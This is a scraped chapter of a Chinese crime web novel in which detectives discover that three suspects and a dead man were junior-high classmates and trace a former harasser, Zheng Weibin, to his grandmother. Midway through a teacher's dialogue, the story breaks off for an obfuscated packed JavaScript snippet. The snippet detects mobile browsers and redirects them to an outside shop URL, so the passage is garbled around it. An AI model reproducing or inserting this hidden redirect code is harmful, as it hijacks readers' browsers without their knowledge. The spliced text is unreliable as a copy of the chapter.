默认冷灰
24号文字
方正启体

66. 旧日照片

作者:大禾之上本书字数:K更新时间:
    从审讯室出来后,蔡星澜一直在笔记本上涂涂写写,试着理清思路。


    余利威、朱俊凯、孙颖三个人的证词各有各的说法,但又像是商量好似的,都在关键的地方绕了弯子。到底是什么是关键呢?她把孙颖那个往楼顶飘的眼神和余利威反复念叨的“不敢想”连在一起—这两个人之间,一定有一根还没被发现的线。找到那根线,就能找到凶手。


    还是得从根源上查。她把手中的笔放下,抬头看向齐雨欣那边。


    “雨欣,能从他们几个户籍地派出所调更详细的资料吗?越细越好,最好是那种能挖出点什么的。”


    齐雨欣应了一声,电话打了一圈,又和杨光辉一起在电脑前忙活了大半天。傍晚的时候,办公室的灯已经全亮了,她拿着几张传真过来的纸走过来,往桌上一放,脸色有点古怪。


    “星澜姐,查是查到了,经历什么的都对得上,但是—”她顿了顿,翻出一张模糊的黑白复印件,“我们发现了一张初中活动的合照,上面这四个人,人却对不上。”


    蔡星澜接过那张纸。边角泛黄,不清晰,画质不是很好,一看就是老照片翻印的。上面一排人站着,被齐雨欣用红笔圈出来的几个人能看清脸—十四五岁的模样,青涩得很。她一眼就认出孙颖,眉眼和现在还有几分像,扎着马尾,站在第二排最右边,笑得有点腼腆。旁边站着几个男生,其中一张脸,分明就是余利威年轻时候的样子,瘦一些,眼神却一样地飘忽。另外两个,她看了好几遍,才确认那是朱俊凯和刘国勇一个微微笑着,一个表情严肃,肩并着肩站在后排。


    四个人站在一起,肩并着肩。


    “他们……”蔡星澜抬起头,声音不自觉地压低了几分。


    “对。”杨光辉走过来,把另一份资料放在她面前,面色沉沉的,“刘国勇、余利威、朱俊凯、孙颖,四个人初中就认识了,一个学校的。不是什么工地认识的,那是编的。”


    他说着,手指点了点另一张纸:“孙颖跟一个叫郑伟斌的同学曾经闹过矛盾,毕业好几年之后还去派出所报过警,说他一直骚扰她。这事儿当时班上同学都知道,档案里还留着记录。”


    蔡星澜盯着那张模糊的照片,脑子里“嗡”了一声。


    朱俊凯说他和刘国勇是工地认识的,工友开玩笑说他们像失散多年的兄弟—假的。孙颖说她不认识刘国勇,只是听丈夫提过这个名字—假的。余利威说他跟楼上只是普通邻居纠纷,别的什么都不知道—也是假的。


    三个人,从十年前就认识,从初中就认识。他们编了这么一大套说辞,把所有人耍得团团转,究竟在藏什么?


    她想起朱俊凯在龙溪镇那个临时办公室里,说起“刘国勇救过我”时,脸上的神情那么诚恳,眼眶还红了一下。想起孙颖在门缝里往楼顶飘的那一眼,那么自然又那么刻意,像是被什么东西拽着。想起余利威在审讯室里反复搓着虎口,说着“我不敢想”时,那副害怕的模样,声音都发着抖。


    全是演出来的。


    蔡星澜把那张毕业照压在笔记本上,指尖还按着边角。


    “叮咚!”


    手机在桌面上震了一下,是齐雨欣转发过来的一个链接。她点开,是一个论坛帖子,标题被加粗飘红:


    《郑伟斌学长好恐怖啊!一直骚扰孙颖学姐,平时看不出来他竟然是这种人》


    下面跟帖已经盖了几十层:


    “是啊是啊!好吓人啊!骚扰短信都发到老师那边去了,听说还堵在校门口。”


    “还好现在退学了,不然谁受得了。”


    “孙颖学姐那段时间都不敢一个人走夜路,我们班女生都轮流陪她。”


    “听说警察都来过学校,问他话,后来就不见他来上课了。”


    蔡星澜一条条往下翻,手指滑动屏幕的速度越来越慢。帖子是好几年前发的,那时候孙颖他们应该刚毕业没几年。发帖人的ID已经注销,只剩下一堆匿名头像在下面讨论。


    她抬起头,看向齐雨欣。齐雨欣正盯着电脑屏幕,手指敲着键盘,头也不抬地说:“星澜姐,我把能找到的帖子都存下来了,还有当年学校论坛的一些旧帖。这个郑伟斌,好像因为骚扰孙颖被学校处分过,后来就转学了,再后来就没什么消息了。”


    杨光辉走过来,站在蔡星澜身后一起看屏幕:“你们说,会不会这个郑伟斌后来一直没放弃?这么多年了,还在继续纠缠?”


    蔡星澜没接话,脑子里却飞快地转着。四个人从初中就认识,一起隐瞒了这段关系。孙颖被郑伟斌骚扰过,闹到报警的程度。而如今刘国勇死了,朱俊凯躲在龙溪镇,余利威吓得跑了半个月。


    所有的线索都在围绕着这个郑伟斌。他们几个人刻意避开相识的事实,拼命掩盖那段过去,或许答案就藏在初中那几年里。


    她把手机放下,目光落在那张毕业照上。四个人并肩站着,年轻的脸庞上都是笑意,看不出任何阴霾。


    可那笑意底下,到底埋着什么东西?


    第二天一早,蔡星澜和从文杰开车去了雾江市,粟溪镇第一中学。


    学校还是老样子,门卫盘问了半天,才放他们进去。正是上课时间,校园里很安静,偶尔从教室里传出来朗朗的读书声。


    他们在教务处找到了胡文老师。胡文头发已经花白,戴着老花镜,听说来意后,接过蔡星澜递来的照片看了好一会儿。


    “哦哦哦……他们几个我有印象……”胡文抬起头,眼镜片后面是一双回忆的眼神,“好像关系挺好的。”


    他指着照片上的朱俊凯他们:“这三个男生,在学校打牌,还被我抓到过呢。那时候学校管得严,打牌是要处分的,我训了他们一顿。”说着笑了一下,又看向孙颖,“孙颖这个女孩子很优秀,成绩一直很好,但是总爱和他们一起玩。当时我们还挺担心的,怕她跟这几个皮孩子学坏了。后来……就不知道了,毕业


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253068|193854||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    之后各奔东西了。”


    “那您还记得郑伟斌吗?”蔡星澜问。


    胡文脸上的笑慢慢收住了,叹了口气:“哎,这孩子……怎么会做出那样的事情呢?平时看着挺乖的,不爱说话,成绩也还可以。谁能想到那么极端,一直骚扰孙颖。那时候闹得挺大的,学校领导都出面了,最后他家里给办了转学。”他顿了顿,摘下老花镜擦了擦,“其实郑伟斌小时候挺可怜的,父母离异,跟着奶奶过。可能就是因为缺爱,才会做出那种事吧。”


    “后来他从这里转学,去了哪里,您知道吗?”从文杰问。


    胡文想了想,摇摇头:“好像……没再上学了。具体的我也不清楚,不过他退学的时候,留过一个家庭住址,说是要寄什么材料。我这里应该有存档。”他起身去翻柜子,好一会儿才找出一张泛黄的纸条,“喏,就是这个,雾江市里一个老小区。你们要去了解情况的话,这个地址或许能帮上忙。”


    蔡星澜接过纸条,道了谢。


    下午,他们按着地址找到那个小区。确实是老房子,楼道里的声控灯不太灵光,跺好几脚才亮一下。


    郑伟斌家在三楼,开门的是个头发花白的老太太,系着围裙,手上还沾着面粉。听说他们是警察,愣了一下,把人让进屋。


    屋子不大,收拾得还算干净。老太太给他们倒了水,坐在对面,手在围裙上搓了搓。


    “伟斌啊……退学之后,就一直外地打工,没怎么在家。”她说这话的时候,眼睛看着地面,声音不高不低,像是在说一件很普通的事,“有时候过年回来一趟,待几天又走了。最近……”她顿了顿,眼眶有点红,“最近有大半年没消息了。电话也打不通,我给他发短信也不回。他从小就闷,有事都憋在心里,可从来没这么久不联系过我。”


    “奶奶,您知道他打工的地方吗?”从文杰问。


    老太太摇摇头:“他也不跟我说,问多了就说我烦。我就知道他好像在云海那边待过一阵子,后来又说去别的地方了。”她抬起头,看了他们一眼,又飞快地低下头去,“他……是不是又闯祸了?”


    蔡星澜没接这话,只是问:“他最近一次联系您是什么时候?”


    老太太想了很久:“过完年那会儿吧?打了个电话,说自己在外面挺好的,让我别惦记。就几分钟,说完就挂了。”她说着,用手背擦了擦眼角,“我知道他以前做过错事,但那都是小时候不懂事。他其实心不坏,就是不会跟人相处……你们要是找到他,能不能告诉他,让他给家里打个电话?”


    蔡星澜和从文杰对视一眼,都没说话。


    从郑伟斌家出来,天已经黑了。两人站在楼道口,从文杰皱着眉头:“郑伟斌这人,现在是死是活都不知道。要是他一直没放弃骚扰孙颖,那刘国勇的死……”


    “得找到他。”蔡星澜望着远处一盏一盏逐渐亮起来的路灯,声音很轻却很坚定,“活要见人,死要见尸。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)